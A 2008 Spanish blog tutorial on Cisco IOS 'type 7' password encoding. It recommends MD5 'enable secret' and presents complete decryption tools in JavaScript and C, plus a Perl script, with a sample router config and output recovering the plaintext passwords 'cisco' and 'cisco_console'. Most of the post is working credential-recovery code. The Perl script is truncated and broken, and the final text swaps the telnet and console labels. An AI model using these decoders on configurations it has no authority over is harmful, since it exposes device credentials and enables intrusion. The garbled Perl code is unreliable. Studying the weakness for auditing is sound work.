Exploits para encriptacion "tipo 7" de CISCO escritos en C, Perl y Javascript
February 22nd, 2008 by BusindreLa encriptación denominada "Type 7" que los sistemas operativos IOS de Cisco hacía de sus claves para usuario (Entrada al modo enable, telnet, console, etc..) hace muchísimo tiempo que se consiguió romper (1997) ya que es un algoritmo muy débil. Realmente su funcionalidad es la de impedir que alguien obtenga la clave a simple vista mirando el fichero de configuración de un router / switch Cisco o mediante un listado de la configuración ("# show running-config").
Vamos a mostrar una colección de exploit creados en C (Original), perl y javascript junto con sus formas de aplicarlo, un juego de niños realmente. Esta debilidad en el algoritmo "tipo 7" es asumida por Cisco y en principio no supone un grave problema (o si,..), porque muchas veces el IOS de cisco necesita tener ciertas claves en claro para su uso en distintos protocolos usados por el router, la seguridad recae en el acceso al modo privilegiado, que en principio es el único usuario que puede ver las claves (Encriptadas o no). Por eso lo que demos proteger es la clave del modo enable (Modo administrador), la cual no conviene encriptarla mediante este algoritmo "type 7", para ello tenemos el conocido algoritmo de una sola via MD5 que como sabemos es mucho mas seguro.
- Establecer clave al modo privilegiado "enable" en con encriptación "tipo 7" (NO recomendado)
(config)# enable password ******* (La deja en texto claro)
(config)# service password-encriptation (Aplica la encriptación tipo 7 a todas las password no cifradas)
(config)# enable password 7 ******* (Insertando directamente la clave bajo Type 7)
- Establecer clave enable en modo MD5 (Recomendado)
(config)# enable secret *******
Veamos en que difieren estas password y como descifrar las claves bajo tipo 7. En una supuesta configuración de un router cisco podemos encontrar lineas referentes a los password como estas:
enable secret 5 $1$p4rZ$L95PhzMUME4ZZDh0DOAZv1 ->Usando enable secret (MD5)
password 7 045802150c2e -> Usando cifrado debil "type 7" (Hackeable)
En el siguiente ejemplo tenemos una clave encriptada mediante md5 y dos débiles (telnet y console)
Ejemplo:
[busi@darkstar]$ cat start-up.config
!
version 12.2
no service single-slot-reload-enable
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname R1
!
logging rate-limit console 10 except errors
enable secret 5 $1$p4rZ$L95PhzMUME4ZZDh0DOAZv1
!
ip subnet-zero
!
!
no ip finger
!
no ip dhcp-client network-discovery
!
!
!
interface FastEthernet1/0
ip address 192.168.1.1 255.255.255.248
duplex auto
speed auto
!
ip classless
ip http server
!
!
line con 0
password 7 094F471A1A0A2811040217252721
transport input none
line aux 0
line vty 0 4
password 7 045802150c2e
login
!
end
end
Exploit en JavaScript:
-
<script language="JavaScript1.2">
-
-
// Is the character a digit?
-
function isDigit(theDigit)
-
{
-
var digitArray = new Array('0','1','2','3','4','5','6','7','8','9')
-
-
for (j = 0; j <digitArray.length; j++) {
-
if (theDigit == digitArray[j])
-
return true
-
}
-
return false
-
}
-
-
-
// Generate a config file ready for loading
-
function crackPassword(form)
-
{
-
var crypttext=form.crypttext.value.toUpperCase()
-
var plaintext=''
-
var xlat="dsfd;kfoA,.iyewrkldJKDHSUBsgvca69834ncxv9873254k;fg87"
-
var seed, i, val=0
-
-
if(crypttext.length & 1)
-
return
-
-
seed = (crypttext.charCodeAt(0) - 0x30) * 10 + crypttext.charCodeAt(1) - 0x30
-
-
if (seed> 15 || !isDigit(crypttext.charAt(0)) || !isDigit(crypttext.charAt(1)))
-
return
-
-
for (i = 2 ; i <= crypttext.length; i++) {
-
if(i !=2 && !(i & 1)) {
-
plaintext+=String.fromCharCode(val ^ xlat.charCodeAt(seed++))
-
seed%=xlat.length
-
val = 0;
-
}
-
-
val *= 16
-
-
if(isDigit(crypttext.charAt(i))) {
-
val += crypttext.charCodeAt(i) - 0x30
-
continue
-
}
-
-
-
if(crypttext.charCodeAt(i)>= 0x41 && crypttext.charCodeAt(i) <= 0x46) {
-
val += crypttext.charCodeAt(i) - 0x41 + 0x0a
-
continue
-
}
-
-
if(crypttext.length != i)
-
return
-
}
-
-
form.plaintext.value=plaintext
-
}
-
-
</script>
Exploit en C:
-
/* This code is originally from a Bugtraq post by
-
Jared Mauch <jared@puck.nether.net> . I patched it with an improved
-
translation table by Janos Zsako <zsako@BANKNET.NET>
-
-Fyodor (fyodor@dhp.com) */
-
-
-
#include <stdio.h>
-
#include <ctype.h>
-
-
char xlat[] = {
-
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
-
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
-
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42
-
};
-
-
char pw_str1[] = " password 7 ";
-
char pw_str2[] = "enable password 7 ";
-
char pw_str3[] = "ip ftp password 7 ";
-
char pw_str4[] = " ip ospf message-digest-key 1 md5 7 ";
-
-
char *pname;
-
-
cdecrypt(enc_pw, dec_pw)
-
char *enc_pw;
-
char *dec_pw;
-
{
-
unsigned int seed, i, val = 0;
-
-
if(strlen(enc_pw) & 1)
-
return(-1);
-
-
seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';
-
-
if (seed> 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
-
return(-1);
-
-
for (i = 2 ; i <= strlen(enc_pw); i++) {
-
if(i !=2 && !(i & 1)) {
-
dec_pw[i / 2 - 2] = val ^ xlat[seed++];
-
val = 0;
-
}
-
-
val *= 16;
-
-
if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
-
val += enc_pw[i] - '0';
-
continue;
-
}
-
-
if(enc_pw[i]>= 'A' && enc_pw[i] <= 'F') {
-
val += enc_pw[i] - 'A' + 10;
-
continue;
-
}
-
-
if(strlen(enc_pw) != i)
-
return(-1);
-
}
-
-
dec_pw[++i / 2] = 0;
-
-
return(0);
-
}
-
-
usage()
-
{
-
fprintf(stdout, "Usage: %s -p <encrypted password>\n", pname);
-
fprintf(stdout, " %s <router config file> <output file>\n", pname);
-
-
return(0);
-
}
-
-
main(argc,argv)
-
int argc;
-
char **argv;
-
-
{
-
FILE *in = stdin, *out = stdout;
-
char line[257];
-
char passwd[65];
-
unsigned int i, pw_pos;
-
-
pname = argv[0];
-
-
if(argc> 1)
-
{
-
if(argc> 3) {
-
usage();
-
exit(1);
-
}
-
-
if(argv[1][0] == '-')
-
{
-
switch(argv[1][1]) {
-
case 'h':
-
usage();
-
break;
-
-
case 'p':
-
bzero(passwd, sizeof(passwd));
-
if(cdecrypt(argv[2], passwd)) {
-
fprintf(stderr, "Error.\n");
-
exit(1);
-
}
-
fprintf(stdout, "password: %s\n", passwd);
-
break;
-
-
default:
-
fprintf(stderr, "%s: unknow option.", pname);
-
}
-
-
return(0);
-
}
-
-
if((in = fopen(argv[1], "rt")) == NULL)
-
exit(1);
-
if(argc> 2)
-
if((out = fopen(argv[2], "wt")) == NULL)
-
exit(1);
-
}
-
-
while(1) {
-
for(i = 0; i <256; i++) {
-
if((line[i] = fgetc(in)) == EOF) {
-
if(i)
-
break;
-
-
fclose(in);
-
fclose(out);
-
return(0);
-
}
-
if(line[i] == '\r')
-
i--;
-
-
if(line[i] == '\n')
-
break;
-
}
-
pw_pos = 0;
-
line[i] = 0;
-
-
if(!strncmp(line, pw_str1, strlen(pw_str1)))
-
pw_pos = strlen(pw_str1);
-
-
if(!strncmp(line, pw_str2, strlen(pw_str2)))
-
pw_pos = strlen(pw_str2);
-
if(!strncmp(line, pw_str3, strlen(pw_str3)))
-
pw_pos = strlen(pw_str3);
-
if(!strncmp(line, pw_str4, strlen(pw_str4)))
-
pw_pos = strlen(pw_str4);
-
-
if(!pw_pos) {
-
fprintf(stdout, "%s\n", line);
-
continue;
-
}
-
-
bzero(passwd, sizeof(passwd));
-
if(cdecrypt(&line[pw_pos], passwd)) {
-
fprintf(stderr, "Error.\n");
-
exit(1);
-
}
-
else {
-
if(pw_pos == strlen(pw_str1))
-
fprintf(out, "%s", pw_str1);
-
else if (pw_pos == strlen(pw_str2))
-
fprintf(out, "%s", pw_str2);
-
else if (pw_pos == strlen(pw_str3))
-
fprintf(out, "%s", pw_str3);
-
else if (pw_pos == strlen(pw_str4))
-
fprintf(out, "%s", pw_str4);
-
-
fprintf(out, "%s\n", passwd);
-
}
-
}
-
}
Compilarlo (Mostrará warnings):
$ gcc fichero.c -o xploitcisco
Exploit en Perl:
-
#!/usr/bin/perl -w
-
# $Id: cisco.passwords.html 3722 2006-07-28 03:53:26Z fyodor $
-
#
-
# Credits for orginal code and description hobbit@avian.org,
-
# SPHiXe, .mudge et al. and for John Bashinski <jbash@CISCO.COM>
-
# for Cisco IOS password encryption facts.
-
#
-
# Use for any malice or illegal purposes strictly prohibited!
-
#
-
-
@xlat = ( 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41,
-
0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c,
-
0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42 );
-
-
while (<>) {
-
$ep = $2; $dp = "";
-
($s, $e) = ($2 =~ /^(..)(.+)/o);
-
for ($i = 0; $i <length($e); $i+=2) {
-
}
-
}
-
}
-
}
-
# eof
Veamos unos ejemplos de uso de estos exploits con el fichero de configuración mostrado al principio del articulo. Como podemos observar en el fichero de configuracion y a modo de recordatorio vemos que la password del modo privilegiado esta encriptada en md5, mientras que las del servidor telnet y el modo "console" están encriptadas con el débil algoritmo "tipo 7" de Cisco que serán los únicos dos que podemos obtener con los exploits.
* Usando Fichero de configuración
$ ./ciscohack start-up.config password_conseguidos
!
version 12.2
no service single-slot-reload-enable
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname R1
!
logging rate-limit console 10 except errors
enable secret 5 $1$p4rZ$L95PhzMUME4ZZDh0DOAZv1
!
ip subnet-zero
!
!
no ip finger
!
no ip dhcp-client network-discovery
!
!
!
interface FastEthernet1/0
ip address 192.168.1.1 255.255.255.248
duplex auto
speed auto
!
ip classless
ip http server
!
!
line con 0
transport input none
line aux 0
line vty 0 4
login
!
end
end
NOTA: Al ejecutarse muestra el fichero de configuración pero sin los password obtenidos.
$ cat password_conseguidos
password 7 cisco_console
password 7 cisco
* Usando las claves
$ ./ciscohack -p 094F471A1A0A2811040217252721
password: cisco_console
$ ./ciscohack -p 045802150c2e
password: cisco
De los dos modos obtenemos las dos claves, "cisco_console" (telnet) y "cisco" (console).
$ perl ciscocrack.pl
password 7 094F471A1A0A2811040217252721
password cisco_console
password 7 045802150c2e
password cisco
NOTA: Debemos insertar las lineas con la sintaxis password 7 clave
Enlace a ejemplo: www.busindre.com/archivos/crack.html
Posted in How To |